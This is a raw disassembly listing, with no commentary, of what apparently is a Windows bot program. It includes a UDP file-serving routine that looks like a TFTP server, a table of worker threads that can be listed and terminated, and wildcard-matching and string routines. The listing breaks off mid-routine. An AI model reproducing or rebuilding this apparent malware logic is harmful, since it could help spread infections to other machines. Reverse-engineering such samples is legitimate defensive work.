var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd movsw xor ebx, ebx xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx inc eax push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_42D8F4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_40BC44 push 190h call dword_418040 ; Sleep call dword_42D814 ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset unk_41FB94 push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_40BC24 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_404555 add esp, 14h loc_40BC24: ; CODE XREF: sub_40BB81+7Ej lea eax, [ebp+var_780] push eax call sub_403145 push [ebp+var_170] call sub_40C378 pop ecx pop ecx push ebx call dword_418050 ; ExitThread loc_40BC44: ; CODE XREF: sub_40BB81+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_42F414[eax], edi lea eax, [ebp+var_44] push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_42D878 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_42D8A4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_40BCA9 push 1388h call dword_418040 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_40C056 ; --------------------------------------------------------------------------- loc_40BCA9: ; CODE XREF: sub_40BB81+10Dj lea eax, [ebp+var_378] push offset dword_41BD40 push eax call sub_40DDC8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_40BD27 push 190h call dword_418040 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_41FB6C push eax call sub_40C6C3 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_404555 lea eax, [ebp+var_780] push eax call sub_403145 push [ebp+var_170] call sub_40C378 add esp, 28h push ebx call dword_418050 ; ExitThread loc_40BD27: ; CODE XREF: sub_40BB81+140j mov esi, 200h loc_40BD2C: ; CODE XREF: sub_40BB81+48Fj mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_40C016 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_42D860 ; select test eax, eax jle loc_40C00A mov al, byte_4242F0 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_42D850 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_40C6C3 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_40BFF4 cmp [ebp+var_D7], 1 jnz loc_40BF56 lea eax, [ebp+var_274] push eax call sub_40CBC0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_40CBC0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_40EAC0 add esp, 14h test eax, eax jnz loc_40BF10 lea eax, [ebp+var_1C] push eax call sub_40CBC0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_40EAC0 add esp, 10h test eax, eax jnz loc_40BF10 push ebx push ebx push [ebp+var_8] call sub_40EAF8 push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_40DA20 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_42D8D8 ; sendto loc_40BEB4: ; CODE XREF: sub_40BB81+46Ej lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_780] push offset dword_41FB48 push eax call sub_40C6C3 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_40BEFE push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_404555 add esp, 14h loc_40BEFE: ; CODE XREF: sub_40BB81+358j lea eax, [ebp+var_780] push eax call sub_403145 pop ecx jmp loc_40C00A ; --------------------------------------------------------------------------- loc_40BF10: ; CODE XREF: sub_40BB81+2B6j ; sub_40BB81+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_41FB34 push edi call dword_42D8D8 ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_41FB0C push eax call sub_40C6C3 lea eax, [ebp+var_D8] push eax call sub_403145 add esp, 14h jmp loc_40C00A ; --------------------------------------------------------------------------- loc_40BF56: ; CODE XREF: sub_40BB81+275j cmp [ebp+var_D7], 4 jnz loc_40BFF4 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40BF8D inc al xor cl, cl mov [ebp+var_57D], bl jmp short loc_40BF95 ; --------------------------------------------------------------------------- loc_40BF8D: ; CODE XREF: sub_40BB81+3FEj inc cl mov [ebp+var_57D], cl loc_40BF95: ; CODE XREF: sub_40BB81+40Aj mov [ebp+var_57E], al push ebx movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_40EAF8 push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_40DA20 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_42D8D8 ; sendto cmp edi, ebx jnz short loc_40C00A jmp loc_40BEB4 ; --------------------------------------------------------------------------- loc_40BFF4: ; CODE XREF: sub_40BB81+268j ; sub_40BB81+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_41FB00 push edi call dword_42D8D8 ; sendto loc_40C00A: ; CODE XREF: sub_40BB81+204j ; sub_40BB81+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_40BD2C loc_40C016: ; CODE XREF: sub_40BB81+1B4j push edi call dword_42D90C ; closesocket push [ebp+var_8] call sub_40D9CA mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_40C04A push [ebp+var_170] call sub_40C378 pop ecx push ebx call dword_418050 ; ExitThread loc_40C04A: ; CODE XREF: sub_40BB81+4B4j push 3E8h call dword_418040 ; Sleep push esi loc_40C056: ; CODE XREF: sub_40BB81+123j call sub_40BB81 pop edi pop esi pop ebx leave retn 4 sub_40BB81 endp ; =============== S U B R O U T I N E ======================================= sub_40C062 proc near ; CODE XREF: sub_401141+EDp ; sub_401141+210p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_42F208 loc_40C06A: ; CODE XREF: sub_40C062+18j cmp byte ptr [eax], 0 jz short loc_40C07E add eax, 234h inc edi cmp eax, offset dword_481BE8 jl short loc_40C06A jmp short loc_40C0C9 ; --------------------------------------------------------------------------- loc_40C07E: ; CODE XREF: sub_40C062+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_42F208[esi] push eax call sub_40C720 mov eax, [esp+14h+arg_4] and dword_42F40C[esi], 0 and dword_42F410[esi], 0 mov dword_42F408[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_42F420[esi], 0 mov dword_42F414[esi], eax pop esi loc_40C0C9: ; CODE XREF: sub_40C062+1Aj mov eax, edi pop edi retn sub_40C062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C0CD proc near ; DATA XREF: sub_4077FD+35F0o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40C11F push [ebp+var_14] call sub_40C378 add esp, 14h push 0 call dword_418050 ; ExitThread pop edi pop esi sub_40C0CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C11F proc near ; CODE XREF: sub_40C0CD+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h xor edi, edi mov esi, offset dword_42F208 loc_40C149: ; CODE XREF: sub_40C11F+78j cmp byte ptr [esi], 0 jz short loc_40C18A cmp [ebp+arg_C], 0 jnz short loc_40C15D cmp dword ptr [esi+204h], 0 jnz short loc_40C18A loc_40C15D: ; CODE XREF: sub_40C11F+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_40C6C3 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 24h loc_40C18A: ; CODE XREF: sub_40C11F+2Dj ; sub_40C11F+3Cj add esi, 234h inc edi cmp esi, offset dword_481BE8 jl short loc_40C149 pop edi pop esi leave retn sub_40C11F endp ; =============== S U B R O U T I N E ======================================= sub_40C19D proc near ; CODE XREF: sub_4077FD+2D2Dp ; sub_40C225+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40C21F cmp esi, 258h jge short loc_40C21F imul esi, 234h push edi push ebx lea edi, dword_42F41C[esi] push dword ptr [edi] call dword_41810C ; TerminateThread cmp [edi], ebx jz short loc_40C1CF inc ebp loc_40C1CF: ; CODE XREF: sub_40C19D+2Fj mov [edi], ebx lea edi, dword_42F410[esi] mov dword_42F408[esi], ebx mov dword_42F40C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40C1F0 push eax call sub_40601E pop ecx loc_40C1F0: ; CODE XREF: sub_40C19D+4Aj mov [edi], ebx lea edi, dword_42F414[esi] mov byte ptr dword_42F208[esi], bl mov byte_42F420[esi], bl push dword ptr [edi] call dword_42D90C ; closesocket lea esi, dword_42F418[esi] mov [edi], ebx push dword ptr [esi] call dword_42D90C ; closesocket mov [esi], ebx pop edi loc_40C21F: ; CODE XREF: sub_40C19D+Dj ; sub_40C19D+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40C19D endp ; =============== S U B R O U T I N E ======================================= sub_40C225 proc near ; CODE XREF: sub_403B83+18p ; sub_40551B:loc_40553Fp ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_42F208 loc_40C231: ; CODE XREF: sub_40C225+2Aj cmp byte ptr [esi], 0 jz short loc_40C242 push edi call sub_40C19D test eax, eax pop ecx jz short loc_40C242 inc ebx loc_40C242: ; CODE XREF: sub_40C225+Fj ; sub_40C225+1Aj add esi, 234h inc edi cmp esi, offset dword_481BE8 jl short loc_40C231 pop edi mov eax, ebx pop esi pop ebx retn sub_40C225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C257 proc near ; CODE XREF: sub_40C2EA+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_42F40C loc_40C26B: ; CODE XREF: sub_40C257+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40C28D test edi, edi jle short loc_40C27F cmp [esi], edi jz short loc_40C27F cmp ebx, edi jnz short loc_40C28D loc_40C27F: ; CODE XREF: sub_40C257+1Ej ; sub_40C257+22j push ebx call sub_40C19D test eax, eax pop ecx jz short loc_40C28D inc [ebp+var_4] loc_40C28D: ; CODE XREF: sub_40C257+1Aj ; sub_40C257+26j ... add esi, 234h inc ebx cmp esi, offset dword_481DEC jl short loc_40C26B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40C257 endp ; =============== S U B R O U T I N E ======================================= sub_40C2A4 proc near ; CODE XREF: sub_4010CA+Bp ; sub_401141+2Cp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_42F408 loc_40C2AB: ; CODE XREF: sub_40C2A4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40C2B4 inc eax loc_40C2B4: ; CODE XREF: sub_40C2A4+Dj add ecx, 234h cmp ecx, offset dword_481DE8 jl short loc_40C2AB retn sub_40C2A4 endp ; =============== S U B R O U T I N E ======================================= sub_40C2C3 proc near ; CODE XREF: sub_4077FD+3236p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_42F408 push esi loc_40C2CD: ; CODE XREF: sub_40C2C3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40C2E6 add ecx, 234h inc edx cmp ecx, offset dword_481DE8 jl short loc_40C2CD pop esi retn ; --------------------------------------------------------------------------- loc_40C2E6: ; CODE XREF: sub_40C2C3+10j mov eax, edx pop esi retn sub_40C2C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2EA proc near ; CODE XREF: sub_4077FD+376Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40C303 push [ebp+arg_1C] call sub_40D9BF pop ecx loc_40C303: ; CODE XREF: sub_40C2EA+Ej push eax push [ebp+arg_18] call sub_40C257 pop ecx test eax, eax pop ecx jle short loc_40C32F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_40C6C3 add esp, 14h jmp short loc_40C349 ; --------------------------------------------------------------------------- loc_40C32F: ; CODE XREF: sub_40C2EA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_40C6C3 add esp, 10h loc_40C349: ; CODE XREF: sub_40C2EA+43j cmp [ebp+arg_C], 0 jnz short loc_40C369 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_40C369: ; CODE XREF: sub_40C2EA+63j lea eax, [ebp+var_200] push eax call sub_403145 pop ecx leave retn sub_40C2EA endp ; =============== S U B R O U T I N E ======================================= sub_40C378 proc near ; CODE XREF: sub_40154B+1ABp ; sub_401704+24Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_42F41C[eax], ecx mov dword_42F408[eax], ecx mov dword_42F40C[eax], ecx mov dword_42F410[eax], ecx mov dword_42F414[eax], ecx mov dword_42F418[eax], ecx mov byte ptr dword_42F208[eax], cl mov byte_42F420[eax], cl retn sub_40C378 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3B5 proc near ; CODE XREF: sub_4077FD+3A5Bp ; sub_40C4DD+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40C417 ; --------------------------------------------------------------------------- loc_40C3C1: ; CODE XREF: sub_40C3B5+66j cmp eax, 1 jnz short loc_40C428 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40C428 cmp cl, 2Ah jz short loc_40C400 cmp cl, 3Fh jz short loc_40C3E5 cmp cl, 5Bh jz short loc_40C3EA xor eax, eax cmp cl, dl setz al loc_40C3E5: ; CODE XREF: sub_40C3B5+22j inc [ebp+arg_4] jmp short loc_40C413 ; --------------------------------------------------------------------------- loc_40C3EA: ; CODE XREF: sub_40C3B5+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40C449 mov esi, [ebp+arg_0] jmp short loc_40C411 ; --------------------------------------------------------------------------- loc_40C400: ; CODE XREF: sub_40C3B5+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40C4DD mov esi, [ebp+arg_0] dec esi loc_40C411: ; CODE XREF: sub_40C3B5+49j pop ecx pop ecx loc_40C413: ; CODE XREF: sub_40C3B5+33j inc esi mov [ebp+arg_0], esi loc_40C417: ; CODE XREF: sub_40C3B5+Aj mov cl, [esi] test cl, cl jnz short loc_40C3C1 jmp short loc_40C428 ; --------------------------------------------------------------------------- loc_40C41F: ; CODE XREF: sub_40C3B5+76j cmp eax, 1 jnz short loc_40C444 inc esi mov [ebp+arg_0], esi loc_40C428: ; CODE XREF: sub_40C3B5+Fj ; sub_40C3B5+18j ... cmp byte ptr [esi], 2Ah jz short loc_40C41F cmp eax, 1 jnz short loc_40C444 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40C444 cmp byte ptr [esi], 0 jnz short loc_40C444 xor eax, eax inc eax jmp short loc_40C446 ; --------------------------------------------------------------------------- loc_40C444: ; CODE XREF: sub_40C3B5+6Dj ; sub_40C3B5+7Bj ... xor eax, eax loc_40C446: ; CODE XREF: sub_40C3B5+8Dj pop esi pop ebp retn sub_40C3B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C449 proc near ; CODE XREF: sub_40C3B5+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40C46A inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40C46A: ; CODE XREF: sub_40C449+19j push ebx push esi loc_40C46C: ; CODE XREF: sub_40C449+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40C47A cmp [ebp+var_4], eax jnz short loc_40C4C2 loc_40C47A: ; CODE XREF: sub_40C449+2Aj test edi, edi jnz short loc_40C4B7 cmp bl, 2Dh jnz short loc_40C4AB lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40C4AB cmp al, 5Dh jz short loc_40C4AB cmp [ebp+var_4], edi jnz short loc_40C4AB mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40C4B7 cmp bl, al jg short loc_40C4B7 mov [edx], esi jmp short loc_40C4B4 ; --------------------------------------------------------------------------- loc_40C4AB: ; CODE XREF: sub_40C449+38j ; sub_40C449+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40C4B7 loc_40C4B4: ; CODE XREF: sub_40C449+60j xor edi, edi inc edi loc_40C4B7: ; CODE XREF: sub_40C449+33j ; sub_40C449+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40C46C ; --------------------------------------------------------------------------- loc_40C4C2: ; CODE XREF: sub_40C449+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40C4CF mov ecx, eax sub ecx, edi mov edi, ecx loc_40C4CF: ; CODE XREF: sub_40C449+7Ej cmp edi, eax jnz short loc_40C4D8 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40C4D8: ; CODE XREF: sub_40C449+88j mov eax, edi pop edi leave retn sub_40C449 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C4DD proc near ; CODE XREF: sub_40C3B5+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_40C50D ; --------------------------------------------------------------------------- loc_40C4F7: ; CODE XREF: sub_40C4DD+36j mov dl, [eax] cmp dl, 3Fh jz short loc_40C508 cmp dl, 2Ah jnz short loc_40C51A cmp dl, 3Fh jnz short loc_40C50B loc_40C508: ; CODE XREF: sub_40C4DD+1Fj inc ecx mov [edi], ecx loc_40C50B: ; CODE XREF: sub_40C4DD+29j inc dword ptr [esi] loc_40C50D: ; CODE XREF: sub_40C4DD+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_40C4F7 jmp short loc_40C51A ; --------------------------------------------------------------------------- loc_40C517: ; CODE XREF: sub_40C4DD+40j inc eax mov [esi], eax loc_40C51A: ; CODE XREF: sub_40C4DD+24j ; sub_40C4DD+38j cmp byte ptr [eax], 2Ah jz short loc_40C517 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40C53C cmp [eax], bl jz short loc_40C52F xor eax, eax jmp short loc_40C599 ; --------------------------------------------------------------------------- loc_40C52F: ; CODE XREF: sub_40C4DD+4Cj cmp dl, bl jnz short loc_40C53C cmp [eax], bl jnz short loc_40C53C xor eax, eax inc eax jmp short loc_40C599 ; --------------------------------------------------------------------------- loc_40C53C: ; CODE XREF: sub_40C4DD+48j ; sub_40C4DD+54j ... push ecx push eax call sub_40C3B5 pop ecx test eax, eax pop ecx jnz short loc_40C583 loc_40C549: ; CODE XREF: sub_40C4DD+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_40C55B ; --------------------------------------------------------------------------- loc_40C54F: ; CODE XREF: sub_40C4DD+86j cmp cl, 5Bh jz short loc_40C565 cmp dl, bl jz short loc_40C565 inc eax mov [edi], eax loc_40C55B: ; CODE XREF: sub_40C4DD+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_40C54F loc_40C565: ; CODE XREF: sub_40C4DD+75j ; sub_40C4DD+79j cmp [eax], bl jz short loc_40C57A push eax push dword ptr [esi] call sub_40C3B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40C57F ; --------------------------------------------------------------------------- loc_40C57A: ; CODE XREF: sub_40C4DD+8Aj mov [ebp+var_4], ebx xor eax, eax loc_40C57F: ; CODE XREF: sub_40C4DD+9Bj cmp eax, ebx jnz short loc_40C549 loc_40C583: ; CODE XREF: sub_40C4DD+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_40C596 mov eax, [esi] cmp [eax], bl jnz short loc_40C596 mov [ebp+var_4], 1 loc_40C596: ; CODE XREF: sub_40C4DD+AAj ; sub_40C4DD+B0j mov eax, [ebp+var_4] loc_40C599: ; CODE XREF: sub_40C4DD+50j ; sub_40C4DD+5Dj pop edi pop esi pop ebx leave retn sub_40C4DD endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C5A0 proc near ; CODE XREF: sub_401000+5Cp ; sub_401000+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_40C654 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_40C5CA loc_40C5BB: ; CODE XREF: sub_40C5A0+28j mov al, [edi] inc edi test al, al jz short loc_40C5FB test edi, 3 jnz short loc_40C5BB loc_40C5CA: ; CODE XREF: sub_40C5A0+19j ; sub_40C5A0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_40C5CA mov eax, [edi-4] test al, al jz short loc_40C608 test ah, ah jz short loc_40C603 test eax, 0FF0000h jz short loc_40C5FE test eax, 0FF000000h jnz short loc_40C5CA loc_40C5FB: ; CODE XREF: sub_40C5A0+20j dec edi jmp short loc_40C60B ; --------------------------------------------------------------------------- loc_40C5FE: ; CODE XREF: sub_40C5A0+52j sub edi, 2 jmp short loc_40C60B ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40C5A0+4Bj sub edi, 3 jmp short loc_40C60B ; --------------------------------------------------------------------------- loc_40C608: ; CODE XREF: sub_40C5A0+47j sub edi, 4 loc_40C60B: ; CODE XREF: sub_40C5A0+5Cj ; sub_40C5A0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_40C620 mov ebx, ecx shr ecx, 2 jnz short loc_40C66C jmp short loc_40C63C ; --------------------------------------------------------------------------- loc_40C620: ; CODE XREF: sub_40C5A0+75j ; sub_40C5A0+93j mov dl, [esi] inc esi test dl, dl jz short loc_40C65A mov [edi], dl inc edi dec ecx jz short loc_40C650 test esi, 3 jnz short loc_40C620 mov ebx, ecx shr ecx, 2 jnz short loc_40C66C loc_40C63C: ; CODE XREF: sub_40C5A0+7Ej ; sub_40C5A0+CAj mov ecx, ebx and ecx, 3 jz short loc_40C650 loc_40C643: ; CODE XREF: sub_40C5A0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_40C652 dec ecx jnz short loc_40C643 loc_40C650: ; CODE XREF: sub_40C5A0+8Bj ; sub_40C5A0+A1j mov [edi], cl loc_40C652: ; CODE XREF: sub_40C5A0+ABj pop ebx pop esi loc_40C654: ; CODE XREF: sub_40C5A0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40C65A: ; CODE XREF: sub_40C5A0+85j ; sub_40C5A0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40C664: ; CODE XREF: sub_40C5A0+E4j ; sub_40C5A0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_40C63C loc_40C66C: ; CODE XREF: sub_40C5A0+7Cj ; sub_40C5A0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_40C664 test dl, dl jz short loc_40C65A test dh, dh jz short loc_40C6B8 test edx, 0FF0000h jz short loc_40C6A8 test edx, 0FF000000h jnz short loc_40C664 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40C6A8: ; CODE XREF: sub_40C5A0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40C6B8: ; CODE XREF: sub_40C5A0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_40C5A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6C3 proc near ; CODE XREF: sub_401000+19p ; sub_401000+48p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_40EDD8 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40C703 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40C710 ; --------------------------------------------------------------------------- loc_40C703: ; CODE XREF: sub_40C6C3+36j lea eax, [ebp+var_20] push eax push 0 call sub_40ECC3 pop ecx pop ecx loc_40C710: ; CODE XREF: sub_40C6C3+3Ej mov eax, esi pop esi leave retn sub_40C6C3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C720 proc near ; CODE XREF: sub_401141+6Ep ; sub_401141+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_40C7A3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_40C744 shr ecx, 2 jnz short loc_40C7B1 jmp short loc_40C765 ; --------------------------------------------------------------------------- loc_40C744: ; CODE XREF: sub_40C720+1Bj ; sub_40C720+37j mov al, [esi] inc esi mov [edi], al 